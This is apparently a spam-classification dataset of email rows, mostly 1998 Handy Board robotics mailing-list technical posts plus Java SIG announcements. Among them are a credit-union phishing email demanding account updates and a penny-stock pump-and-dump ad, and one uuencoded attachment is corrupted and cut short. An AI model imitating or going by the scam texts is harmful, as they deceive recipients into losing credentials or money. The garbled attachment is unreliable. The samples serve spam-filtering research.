mode since that mode requires Mode B to be high during reset? I assume it must be changed (the mode) by the downloaded program. Can someone explain this sequence, if I am right? If I am wrong, can someone explain how expanded mode is entered? -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 Will Bain ,handyboard@media.mit.edu,"Sun, 03 May 1998 23:04:03 -0600",Re: Controlling a DC motor 3,"At 07:07 AM 5/4/98 +1000, Paul wrote: >Q) The PWM is a sequence of pulses switching on & off the H-Bridge. >But what should be the rate of PWM? 1000Hz?? why? what does the >rate of PWM depends on? Within limits, the rate doesn't matter much. What matters is the ratio of off time to on time (i.e., the duty cycle). Probably, you could change the frequency by an order of magnitude either way and get about the same results. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Suburbia is where the developer bulldozes out Will Bain, the trees, then names the streets after them. & Tatoosh --Bill Vaughn ",0,0 Chuck McManis ,Mike Davis ,"Sun, 03 May 1998 22:01:27 -0700",Re: LCD Addressing - & - Expanded Mode,"Mike Davis wrote: > Two questions: > > 1) I'm having a little trouble figuring out how the LCD is addressed. > It uses A8 and A8 but also is clocked from Port A. You can only run the LCD when in single chip mode. > 2) The Mode B pin is always grounded. How does the system get put > into expanded mode since that mode requires Mode B to be high during > reset? I assume it must be changed (the mode) by the downloaded > program. This leaves the chip in 'special test mode' that lets you go into and out of expanded mode by writing the config register. --Chuck ",0,0 Philippe GUERMEUR ,handyboard@media.mit.edu,"Mon, 04 May 1998 09:37:23 +0100",Re: DS1233 Monitor Chip,">I cannot locate a DS1233 chip. I have tired DigiKey, Jameco, Mouser, >Active. What is a good source for this part? > >I have an MC34064. Looks similiar except that it has no 350mSec >delay and a different pinout. Has anyone tried this chip without any >caps? I use an MC34064 on a 68hc11, and have never had any problem with it. Philippe Guermeur guermeur@ensta.fr ",0,0 John Wong ,handyboard_mailinglist ,"Mon, 04 May 1998 17:59:14 +1000",Micromouse speed,"Hi, does anyone know how fast should a micromouse move? and the other question is, will the 6811/handyboard have enough capability (address space) for maze solving? If not, what should I need? extra memory or 32bits processor? Thank you for any comment! John ",0,0 Think Federal Credit Union ,,"Mon, 04 May 1998 10:45:09 -0400",Think Bank - Please Update Your Account Informations !,"Dear Think Federal Credit Union Customer, You have received this email because we have strong reasons to believe that your Think Federal Credit Union account had been recently compromised. In order to prevent any fraudulent activity from occurring we are required to open an investigation into this matter. Per the User Agreement, Section 9, we may immediately issue a warning, temporarily suspend, indefinitely suspend or terminate your membership and refuse to provide our services to you if we believe that your actions may cause financial loss or legal liability for you, our users or us. We may also take these actions if we are unable to verify or authenticate any information you provide to us. If your account information is not updated within the next 72 hours, then we will assume this account is fraudulent and will be suspended. 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David Butler gdb@dbSystems.com ",0,0 Jonathan Swaby ,"Charley Webb , handyboard@media.mit.edu","Mon, 04 May 1998 10:14:12 -0400",Re: Handy Board problem,"I got mine from FutureActive. I don't remember what the cost was and I don't remember what else I got from them, but it was more than just that. I think I placed about 2 orders with them. I would much rather deal with Mouser and Digikey. If you have at least $50 worth of parts to get, I would suggest trying Allied. They seem to have everything and at great prices compared to others, but they want you to spend at least $50. I don't remember why I did not like ordering from FutureActive, but there was a reason. At 10:29 PM 5/2/98 -0400, Charley Webb wrote: >I was wondering if anyone knows where I could purchase the Sharp Is1U60 IR >detector. I have looked for it, however none of the distributors I have >checked with even carry it. >I tried Digikey, Mouser Electronics, JDR, Jameco, BG Micro, and others. > >Any information GREATLY appreciated. > >WebGard LLC dba ESSLink >World Wide Web: http://www.esslink.com >Email: info@esslink.com >Phone: (860) 693-2448 >Toll Free: 1-800-838-2302 >Fax: (860) 693-6298 > > > ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ______ ",0,1 Bernd Klein ,"Les Novotny , HB HB ","Mon, 04 May 1998 16:23:14 +0200",Re: Schematic drawing - freeware ???,"Hi Les, i´m using a nice drawing programm (TARGET 2001). In germany we can get a ""lite"" Version of a big-drawing programm it´ easy to use and it works great, but it is in german. If you are interested, send me a mail tschau bernd Les Novotny wrote: > Hi, > Has anyone come across a freeware schematic drawing package for Windows PC? > > Any help would be much appreciated.. > > thanks in advance.. > > Les ",0,0 zvphjbjy vdlnbf ,"9fans@cse.psu.edu, gabrielle@cse.psu.edu, lindsay@cse.psu.edu","Mon, 04 May 1998 20:26:53 +0800",watch this stck go crazy NEW PICK MONDAY it is [NEWS ALERT NEW PICK MONDAY it is] drift expertly,"Apparel Manufacturing Associates, Inc. (APPM.PK) Symbol : APPM Current Price : $ 0.21 Short Term Projected : $ 0.85 Watch this one, huge PR campaign underway, plus strong potential. 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When I try to > download the bootstrap code, it reports that the bootstrap failed after > 000 bytes, etc.. etc... The funny thing is that I am able to > communicate with either the rug warrior or handyboard just fine as long > as they both have working pcode installed in them already. I am using IC > version 3.1 and have found this behavior to be the same for both the > modem and the printer port. > I have also found that when I try to change the definitions file > in the preferences menu to download different pcode and libraries to the > handyboard or rug warrior, IC crashes usually during the second > configuration swap. > > I thought that I'd try using IC 2.852 to see if I would get > better behavior. Here's a transcript of the failed download: > > Please place board in download mode and press RETURN > To quit, press Q > For help, press H > Downloading 256 byte bootstrap (229 data) > ................................................................ > ................................................................ > ................................................................ > .....................................___________________________ > Timeout on serial receive. 256 chars left to receive > Perhaps the board was not connected properly or not in download mode > > Please place board in download mode and press RETURN > To quit, press Q > For help, press H > > Has anybody else had similar problems? Randy or Fred, any ideas > as to why IC doesn't like my Mac G3? I'm running system 8.1, BTW. > > -Paul. -- ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 """Paul E. Rybski"" ",Randy Sargent ,"Mon, 04 May 1998 12:05:28 -0500",Re: Cannot download pcode on a Mac G3,"On Mon, 4 May 1998, Randy Sargent wrote: > This is the first time we've heard of such a problem with IC 3.1 on the > Mac G3. Can you verify that it is the case that pcode download works > fine for you from other Macintoshes? Yes. Using the same set of boards, I can download pcode using IC 3.1 as well as IC 2.xxx from my old macintosh Centris 650 as well as from Performa 6100. -Paul ",0,0 Brett Anthony ,handyboard@media.mit.edu,"Mon, 04 May 1998 11:16:40 -0700",RE: Connections,"Hmm... I had the same problem and made an only mildly inelegant kludge with straight and right-angle headers. How much do you enjoy soldering? Seriously, does anyone know of any single-row intraconnectors? Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Mike Davis ,cmcmanis@freegate.com,"Mon, 04 May 1998 11:38:28 +0000",Re: LCD Addressing - & - Expanded Mode,"So, this still doesn't help me figure out how to address the LCD. It has A8 and A9 connected along with a CLK from Port A. Does this mean that the LCD is NOT memory mapped? Do I first have to write to Port B then write to Port A, to clock it. This must mean that I have to go into and out of expanded mode to use both the LCD and the SRAM? That's kinda wierd. Anything else you can point me to as far as addressing the LCD and accessing SRAM via assembly code? > Date: Sun, 03 May 1998 22:01:27 -0700 > From: Chuck McManis > Reply-to: cmcmanis@freegate.com > Organization: Freegate Corporation > To: Mike Davis > Cc: handyboard@media.mit.edu > Subject: Re: LCD Addressing - & - Expanded Mode > Mike Davis wrote: > > Two questions: > > > > 1) I'm having a little trouble figuring out how the LCD is addressed. > > It uses A8 and A8 but also is clocked from Port A. > > You can only run the LCD when in single chip mode. > > > 2) The Mode B pin is always grounded. How does the system get put > > into expanded mode since that mode requires Mode B to be high during > > reset? I assume it must be changed (the mode) by the downloaded > > program. > > This leaves the chip in 'special test mode' that lets you go into and > out of expanded mode by writing the config register. > > --Chuck > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 Brett Anthony ,handyboard@media.mit.edu,"Mon, 04 May 1998 11:43:24 -0700",Re: dc motor blues ,"Hi All; Along the same lines, I would LOVE to control my motors so they run at constant speed under varying load. I know that it's theoretically possible to sense the RPM of a PM DC motor by tracking the drive voltage as the commutator makes and breaks. Has anyone tried using this as feedback in a PWM control loop? I'm guessing that the PWM frequency would have to be at least an order of magnitude greater than the motor RPM. Or would it just be easier to use an encoder? Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Chuck McManis ,Mike Davis ,"Mon, 04 May 1998 11:52:52 -0700",Re: LCD Addressing - & - Expanded Mode,"From the driver code I recently sent out: * LCD Connections on the Handyboard * PORTB bit 0 - R/W * PORTB bit 1 - RS (Register Select, 0 = instruction) * PORTC 8 bits of Data * PORTA bit 4 - E clock Mike Davis wrote: > Does this mean that the LCD is NOT memory mapped? That is correct, the LCD is NOT memory mapped, it is connected directly to the pins on the 68HC11 that become ports A, B, and C in ""single chip"" mode. > Do I first have to write to Port B then write to Port A, to clock > it. That is correct. Something like: Write B Write C (this is your data) Write the clock high NOP Write the clock low (The NOP is to insure the timing requirements of the LCD are met, you can leave it out but it can screw up when the LCD is cold) > This must mean that I have to go into and out of expanded mode to > use both the LCD and the SRAM? That's kinda wierd. Not exactly, it means the SRAM is unavailable to you when you are in single chip mode, however there is at least 256 bytes of RAM addressed at address 0 that is available (its inside the processor). It's not ""kinda"" weird, it is very, very weird. > Anything else you can point me to as far as addressing the LCD and > accessing SRAM via assembly code? Other than the source I sent out? Not really. Note that you can't address SRAM easily in single chip mode. I suspect it is possible but it is much easier to copy stuff from SRAM into the first 256 bytes before you switch into single chip mode. --Chuck ",0,0 Mike Davis ,cmcmanis@freegate.com,"Mon, 04 May 1998 12:26:07 +0000",Re: LCD Addressing - & - Expanded Mode,"Wierd: Anyway I have some kind of problem with the handyboard. All steps up to the testing of the LCD went fine. When I plugged in the LCD and turned it on, it lights up (one line) bright not dim. I tried to download the pcode_hb.s19 with config set to 0C. It appeared to download but: I did not get any sound AND the LCD does not change AND I get an error stating, ""Invalid CONFIG reg (0xFF) try again"". If I read this error correctly, it is suggesting that the configuration reg could not be changed. I have checked the orientation and soldering of each chip and the LCD connector. All is fine. I have also written a small ASSM test program and verified that it downloads and executes. I am using an equivelant LCD (DCM16249) listed on handyboard web. I am using a 68HC811E2 but this should not be a problem since the EEPROM is disabled. Any clues as to what the problem might be? Chuck, You said you sent out some driver code (LCD I assume). Is is an assem driver? Where is it? > Date: Mon, 04 May 1998 11:52:52 -0700 > From: Chuck McManis > Reply-to: cmcmanis@freegate.com > Organization: FreeGate Corporation > To: Mike Davis > Cc: handyboard@media.mit.edu > Subject: Re: LCD Addressing - & - Expanded Mode > >From the driver code I recently sent out: > * LCD Connections on the Handyboard > * PORTB bit 0 - R/W > * PORTB bit 1 - RS (Register Select, 0 = instruction) > * PORTC 8 bits of Data > * PORTA bit 4 - E clock > > Mike Davis wrote: > > Does this mean that the LCD is NOT memory mapped? > > That is correct, the LCD is NOT memory mapped, it is connected > directly to the pins on the 68HC11 that become ports A, B, and C > in ""single chip"" mode. > > > Do I first have to write to Port B then write to Port A, to clock > > it. > > That is correct. > Something like: > Write B > Write C (this is your data) > Write the clock high > NOP > Write the clock low > (The NOP is to insure the timing requirements of the LCD are met, > you can leave it out but it can screw up when the LCD is cold) > > > This must mean that I have to go into and out of expanded mode to > > use both the LCD and the SRAM? That's kinda wierd. > > Not exactly, it means the SRAM is unavailable to you when you are > in single chip mode, however there is at least 256 bytes of RAM > addressed at address 0 that is available (its inside the > processor). It's not ""kinda"" weird, it is very, very weird. > > > Anything else you can point me to as far as addressing the LCD and > > accessing SRAM via assembly code? > > Other than the source I sent out? Not really. Note that you can't > address SRAM easily in single chip mode. I suspect it is possible > but it is much easier to copy stuff from SRAM into the first 256 > bytes before you switch into single chip mode. > > --Chuck > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 Mike Davis ,cmcmanis@freegate.com,"Mon, 04 May 1998 13:15:54 +0000",Re: LCD Addressing - & - Expanded Mode,"I found the driver you sent earlier. Thanks. BTW, I found out that my LCD is good but I still have a problem. It appears that I cannot change my CONFIG reg. Maybe because it is an 811E2; don't know. Should be able to however. Since the program was complaining about not being able to change the CONFIG and reporting that it was invalid at 0xFF, I used that value to trick the program (hbdl). It worked as far as getting passed the check. It downloaded the program and the IC display came up on the display. Now, my problem is why can't I change the CONFIG reg? What is the CONFIG of my MCU? A 0xFF in CONFIG seems to have EEPROM at F800, which overlaps the SRAM. The CONFIG reg should be set to maybe 0x2E but it won't change. Does anyone have a solution for this? Do I now have 32K - 2K of SRAM and 2K of EEPROM? Is that a problem? Any suggestions? > Date: Mon, 04 May 1998 11:52:52 -0700 > From: Chuck McManis > Reply-to: cmcmanis@freegate.com > Organization: FreeGate Corporation > To: Mike Davis > Cc: handyboard@media.mit.edu > Subject: Re: LCD Addressing - & - Expanded Mode > >From the driver code I recently sent out: > * LCD Connections on the Handyboard > * PORTB bit 0 - R/W > * PORTB bit 1 - RS (Register Select, 0 = instruction) > * PORTC 8 bits of Data > * PORTA bit 4 - E clock > > Mike Davis wrote: > > Does this mean that the LCD is NOT memory mapped? > > That is correct, the LCD is NOT memory mapped, it is connected > directly to the pins on the 68HC11 that become ports A, B, and C > in ""single chip"" mode. > > > Do I first have to write to Port B then write to Port A, to clock > > it. > > That is correct. > Something like: > Write B > Write C (this is your data) > Write the clock high > NOP > Write the clock low > (The NOP is to insure the timing requirements of the LCD are met, > you can leave it out but it can screw up when the LCD is cold) > > > This must mean that I have to go into and out of expanded mode to > > use both the LCD and the SRAM? That's kinda wierd. > > Not exactly, it means the SRAM is unavailable to you when you are > in single chip mode, however there is at least 256 bytes of RAM > addressed at address 0 that is available (its inside the > processor). It's not ""kinda"" weird, it is very, very weird. > > > Anything else you can point me to as far as addressing the LCD and > > accessing SRAM via assembly code? > > Other than the source I sent out? Not really. Note that you can't > address SRAM easily in single chip mode. I suspect it is possible > but it is much easier to copy stuff from SRAM into the first 256 > bytes before you switch into single chip mode. > > --Chuck > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 Jaron Paludanus ,"""HandyBoard (E-mail)"" ","Mon, 04 May 1998 23:07:08 +0200",Working with a different compiler 2,"Howdy All, I am in a happy mood today. I finally got to the 'hello world' stage. All I had to do was count the number of interrupts, * 2 (16 bit addresses), subtract this from BFFF which is the reset vector and thus supply BFD6 to my linker to start its vector table. I learned a lot from the responses people gave me, thanks ! I came to a solution by taking the time and actively looking for a solution using the tools I have. Yes I am proud today. Using the following code; @port volatile unsigned char MOTOR @0x7000; void main () { int i,j; while (1) { for (i=0;i<=255;i++) { MOTOR= i; for (j=0;j<4000;j++) { _asm(""nop\\n""); } } } } I managed to make my motor leds flicker, the @0x7000 is a efficient way to use memory mapped peripherals the included NOP instruction was just to slow things down and to try the so-called in-line assembly. After creating big database applications for companies I am as happy as a kid with my Christmas lighting. QUESTION - Why can the whole memory range from 7000 - 7fff be used to set the motor drivers or to fetch the digital input signals? thanks everybody, I'll continue my quest ... Jaron",0,0 Charles Hacker EAS ,Jaron Paludanus ,"Tue, 05 May 1998 08:41:11 +1000",Re: Motor Drivers in 7000 - 7fff,"Jaron, > > QUESTION - Why can the whole memory range from 7000 - 7fff be used to set > the motor drivers or to fetch the digital input signals? > This was done (obviously) to save extra decoding circuitry needed on the board. That is, if the handy board needed to assign (say) 7000 as the motor then sixteen address lines need to be decoded (binary 0111 000 000 000). Yet with the address of 7000 - 7FFF, only the first four bits (binary 0111 = 7) need to be decoded. This is essentially wasteful in memory locations, yet with plently of address space this is not really a problem. Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 Robert Bonstein ,handyboard@media.mit.edu,"Mon, 04 May 1998 19:07:12 -0400",Hardware Questions,"Recently, many of you have had pretty specific hardware-related questions. The best thing to do is to read Appendix B of the MIT 6.270 Robot Builder's Guide (Appendix A of the new 1998 Course Notes). This appendix contains a complete description of the 6.270 hardware. ""Nearly all of the technical discussion translates directly into an explanation of how the Handy Board works."" The software describes the memory mapping of output and input devices (using Y0-Y5, multiplexing w/ a '374), the motor drivers, analog inputs, serial communication, IR recv/xmit, etc. The information presented in the Appendix is invaluable for both tinkerers and the curious. Rob Bonstein For the Appendix, see: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/techdocs/index.h tml ",0,1 """Michael S. Reiling"" ",handyboard@media.mit.edu,"Mon, 04 May 1998 16:25:38 -0700",Re: Cannot download pcode on a Mac G3,"I have a 266 G3 minitower, and I have the identical problem. The only way to solve this is to let IC die, not reset the HB and then run IC again. It complains to can't talk to the HB, and then I reset the HB and all works fine. Kinda odd, but it works. >Hi Paul, > >This is the first time we've heard of such a problem with IC 3.1 on the >Mac G3. Can you verify that it is the case that pcode download works >fine for you from other Macintoshes? > >-- Randy > >------------- > >Paul E. Rybski wrote: >> >> Hello everyone, >> I've been having a problem downloading pcode to a handyboard or >> rugwarrior board from my Mac G3 (266 Mhz desktop model). When I try to >> download the bootstrap code, it reports that the bootstrap failed after >> 000 bytes, etc.. etc... The funny thing is that I am able to >> communicate with either the rug warrior or handyboard just fine as long >> as they both have working pcode installed in them already. I am using IC >> version 3.1 and have found this behavior to be the same for both the >> modem and the printer port. >> I have also found that when I try to change the definitions file >> in the preferences menu to download different pcode and libraries to the >> handyboard or rug warrior, IC crashes usually during the second >> configuration swap. >> >> I thought that I'd try using IC 2.852 to see if I would get >> better behavior. Here's a transcript of the failed download: >> >> Please place board in download mode and press RETURN >> To quit, press Q >> For help, press H >> Downloading 256 byte bootstrap (229 data) >> ................................................................ >> ................................................................ >> ................................................................ >> .....................................___________________________ >> Timeout on serial receive. 256 chars left to receive >> Perhaps the board was not connected properly or not in download mode >> >> Please place board in download mode and press RETURN >> To quit, press Q >> For help, press H >> >> Has anybody else had similar problems? Randy or Fred, any ideas >> as to why IC doesn't like my Mac G3? I'm running system 8.1, BTW. >> >> -Paul. > >-- >---------------------------------------------------------------- >Randy Sargent Newton Research Labs >President Robotic Systems and Software >rsargent@newtonlabs.com http://www.newtonlabs.com/ ---------------------------------------------------------------- Mike Reiling macman@inreach.com University of the Pacific Student of Computer Science One tequila, two tequila, three tequila, floor. ---------------------------------------------------------------- ",0,1 BMajik5127 ,handyboard@media.mit.edu,"Mon, 04 May 1998 19:40:53 -0400",**handyboard**," hello, i was wondering if anyone can help me.i dont own a handyboard yet, how do you program it, i am worried that it is very compicated to do. please if you could send me some simple code say to move both drive motors fwd, how would you do it? i am just trying to get a feel for it so i can decide if the handyboard is for me, also where do i get one with motors sensors etc... thanks -mike ",0,0 Mike Vande Weghe ,Will Bain ,"Mon, 04 May 1998 20:01:06 -0400",Re: Controlling a DC motor 3,"> Within limits, the rate doesn't matter much. What matters is the > ratio of off time to on time (i.e., the duty cycle). Probably, you > could change the frequency by an order of magnitude either way and get > about the same results. Actually, the frequency is somewhat important. The faster you switch, the more power will be lost to the switching of the power transistors and the filtering effect provided by the inductance of the motor. At the other extreme, frequencies that are too slow will cause the motor to run sporadically instead of smoothly. For the motors I'm using I ran an experiment of controlling the motors with a constant power ratio and a variable frequency, and found that the optimum frequency was around 30Hz. Of course, that number is entirely dependent on the motor design; smaller motors will need faster frequencies; larger motors will probably do better with slower frequencies. - Mike ",0,0 BMajik5127 ,handyboard@media.mit.edu,"Mon, 04 May 1998 20:08:01 -0400",how do i get info on where to buy a handyboard?," hi i am lookin for a handyboard, i saw one at trinity college it came with batt charger prgrm cable dc motors sensors etc... where do i get one a phne # or e-mail address etc... thanks -mike ",0,0 Charles Hacker EAS ,Mike Davis ,"Tue, 05 May 1998 10:15:24 +1000",Re: LCD Addressing,"Mike, Chuck McManis may have answered your request, but in case you still want sample code I am attaching an example code that prints to the HandyBoard display. (The code forms part of the Handy Board buffalo I had developed). I had trouble getting the display working as well. The main problems were: 1. In single line display, the display is to dark to read. Putting the display in two line, allowed the writing on the display to be read. 2. You first need to send a 'Display On' code to the display, before any future writes to the display will work. Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 Charles Hacker EAS ,Mike Davis ,"Tue, 05 May 1998 10:15:24 +1000",Re: LCD Addressing,"* This message contains the file 'printx.txt', which has been * uuencoded. If you are using Pegasus Mail, then you can use * the browser's eXtract function to lift the original contents * out to a file, otherwise you will have to extract the message * and uudecode it manually. begin 660 printx.txt M*B!(0S$Q(""T@17%U871E2!%<75A=&5S M#0HJ#0I,0T1T;7!!""45150DD,#D-""DQ#1')O=70)15%5""20Q,`T**@T**B`@ M(%-E0T*""4I34@E,0T1R M;W5T#0HJ#0H)3$18""2-,:6YE,0T*""5-46`E30U)E;F0-""E!,,0E,1$%!""2,D M,#()""0D[(%1E;&P@=&\\@4')I;G0-""@E,1%@)4T-296YD#0H)3$1!0@DD,#`L M6`T*""4E.6`T*""5-46`E30U)E;F0-""@E*4U()3$-$0E,1$%!""2,Q#0H)4U1!00E03U)40BQ8""0D) M.R!R96%D(&]P97)A=&EOB!F71E(&ES(&-O M;G1R;VP-""@E35$%""""5!/4E1#+%@)""0D[(&QO=R!B>71E(&ES(&1A=&$-""@E"" M4T54""5!/4E1!+%@@)3`P,#$P,#`P#0H)0D-,4@E03U)402Q8(""4P,#`Q,#`P M,`D[(&9R;V(@3$-$#0H)0E-%5`E(4%))3RQ8(""4P,#$P,#`P,`D[('!U=""!I M;G1O(&5X<&%N9&5D(&-H:7`@;6]D90T*""4-,20D)""0D[(&5N86)L92!I;G1E M,BMajik5127 ,"Tue, 05 May 1998 10:49:09 +1000",Re: how do i get info on where to buy a handyboard?,"Mike, > hi i am looking for a handyboard, i saw one at trinity college it The best place for all information about the handy board, including the places to buy, is the Handy Board Home page. http://lcs.www.media.mit.edu/groups/el/Projects/handy-board/index.html To get directly to the page on where to buy them, then go here: http://lcs.www.media.mit.edu/groups/el/Projects/handy-board/howtoget/i ndex.html We (at the Uni) purchased ours from Patrick Hui, based in Hong Kong, offers Handy Board kits and assembled systems. >i was wondering if anyone can help me.i dont own a handyboard yet, >how do you program it, i am worried that it is very compicated to do. >please if you could send me some simple code say to move both drive >motors fwd, how would you do it? Programming the HandyBoard is very simple. Not much effort at all. The information received from the Handy Board explains how to program it. As for sample code, it depends on how you intend to program it. You can program in C, or you can program in machine code. It is best to possible obtain a Handy board first, then try programming. ________________________ >i was wondering if anyone can help me.i dont own a handyboard yet, >how do you program it, i am worried that it is very compicated to do. >please if you could send me some simple code say to move both drive >motors fwd, how would you do it? > i am just trying to get a feel for it so i can decide if the > handyboard is >for me, also where do i get one with motors sensors etc... >thanks -mike > > hi i am lookin for a handyboard, i saw one at trinity college it > came with > batt charger prgrm cable dc motors sensors etc... where do i get one a phne # > or e-mail address etc... > thanks -mike > Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,1 MAR ERICSON ,BMajik5127 ,"Mon, 04 May 1998 22:38:21 -0400",Re: **handyboard**,"You can write ""Interactive C"" (IC) programs on a PC/Mac and download it into the HB. IC is like C but alot less complicated. If you know C, it is pretty simple. If you don't know C, it is just simple. You can also write Assembler which is a little harder. But you only need this if you want to do some fancy stuff. To make the motors go forward, you use the statements: fd(0); fd(1); for motor 0 and 1, respectively. You can get a motors and sensors beginner pack from ""Gleason Electronics"", where you will get your Handy Board from too. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Mon, 4 May 1998, BMajik5127 wrote: > > hello, > i was wondering if anyone can help me.i dont own a handyboard yet, how do you > program it, i am worried that it is very compicated to do. please if you could > send me some simple code say to move both drive motors fwd, how would you do > it? > i am just trying to get a feel for it so i can decide if the handyboard is > for me, also where do i get one with motors sensors etc... > thanks -mike > ",0,0 MAR ERICSON ,BMajik5127 ,"Mon, 04 May 1998 22:39:32 -0400",Re: how do i get info on where to buy a handyboard?,"Look up ""Handy Board"" on the internet. It will be the first hit on the search usually. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Mon, 4 May 1998, BMajik5127 wrote: > > hi i am lookin for a handyboard, i saw one at trinity college it came with > batt charger prgrm cable dc motors sensors etc... where do i get one a phne # > or e-mail address etc... > thanks -mike > ",0,0 Patrick Cutts ,HandyBoard ,"Mon, 04 May 1998 22:45:41 -0700",Re: recharging a battery the right way,"you should charge a lead acid battery which is between 10% and 90% charged at a rate of Capacity/10. In this case the rate would be 0.2 amps. when the battery is either almost charged (>90% charged) or almost depleted (<10% charged) the rate shoud be Capacity/20 because the internal resistance of the cells makes the battery less efficient at these times. (paraphrased from ""The Complete Battery Book"", by Richard A. Perez, p26.) ---------- > From: Rent-A-Nerd > To: handyboard@media.mit.edu > Subject: recharging a battery the right way > Date: Sunday, May 03, 1998 12:56 PM > > hello > > I have a 6v 2.0amp battery. Its a lead acid battery. What is the right > way to recharge it? > The reason I ask is because I had a 12v 7amp battery from the same > manyfacturer. I charged it using a car battery charger at the lowest setting > possible. After 2 days, the cells had expanded and the battery was bloated. > I dont want to repeat that! > > thanks for any help. > phil hahn > thehahns@netwurx.net",0,0 Kai Gldsner ,handyboard@media.mit.edu,"Tue, 05 May 1998 08:27:52 +0200",HandyBoard in Germany,"Hello Community, I would like to enter the ""World of HandyBoard"" and I'm searching for a Distributor in Germany (or some people who know how to get one in Germany). I would buy it in every state: ready-made, kit and PCB only. Is there a community of HandyBoard-Useres in Germany? Thanks in advance, Have Fun Kai Glaesner ",0,0 Pandit Panburana ,"MAR ERICSON , BMajik5127 ","Tue, 05 May 1998 06:48:51 -0400",Re: how do i get info on where to buy a handyboard?," Go to Handy Board WEB page and look under ""Get One"". You will see all kind of info of how to get one including bare PC board and component vendors. Here is the URL: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/ -Pandit ",0,1 """Nelson H. F. Beebe"" ",java-sig@math.utah.edu,"Tue, 05 May 1998 08:42:57 -0600",Welcome to the Salt Lake City Java SIG mailing list,"This message announces the creation of an e-mail list for the Salt Lake City Java SIG: java-sig@math.utah.edu Requests for additions or deletions, and problem reports, should be directed to java-sig-request@math.utah.edu This list is maintained by humans, not a mail server, so do not expect instant response on mail sent to that last address; I am unsatisfied with current mail server software, and so refrain from using such packages. A message with the body SUBSCRIBE or SUBSCRIBE jones@foo.bar.com [if your desired destination address differs from your sending one], or UNSUBSCRIBE is sufficient to get you on or off the list. The purpose of this list is (1) to carry announcements of the agenda, time, and place of upcoming meetings of the Salt Lake City Java SIG; (2) to carry discussions of Java-related issues; (3) to carry NON-COMMERCIAL announcements of local Java events, such as workshops, conferences, and trade shows; (4) to carry reviews of books and other publications on Java. Announcements of new Java products are acceptable, PROVIDED that they are very short (< 5 lines), and they avoid mentioning prices, advertising hype, or the competition. An acceptable example might be >> ... >> The Java Grinder Group is pleased to announce a >> Java-controlled hot-chocolate maker; for details, visit >> >> http://www.jgg.com/java-cocoa.html >> ... Correspondence on this list is expected to maintain a high degree of professionalism and courtesy, and also, brevity: many of us already receive more e-mail than we can reasonably deal with. ----------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ----------------------------------------------------------------------------- 5-May-1998 15:38:12-GMT,3071;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id JAA05168 for ; Tue, 5 May 1998 09:37:56 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id JAA13715 for java-sig@math.utah.edu; Tue, 5 May 1998 09:37:58 -0600 (MDT) Date: Tue, 5 May 1998 09:37:58 -0600 (MDT) To: java-sig@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Local Java resources Message-ID: This note draws your attention to some local Java resources: First, the Salt Lake Java SIG home page on the World-Wide Web: http://www.psicomp.com/techsig/ Second, large bibliographies of books and other publications on Java: http://www.math.utah.edu/pub/tex/bib/index.html#java http://www.math.utah.edu/pub/tex/bib/index.html#javarep As of this morning, the coverage of the first of these 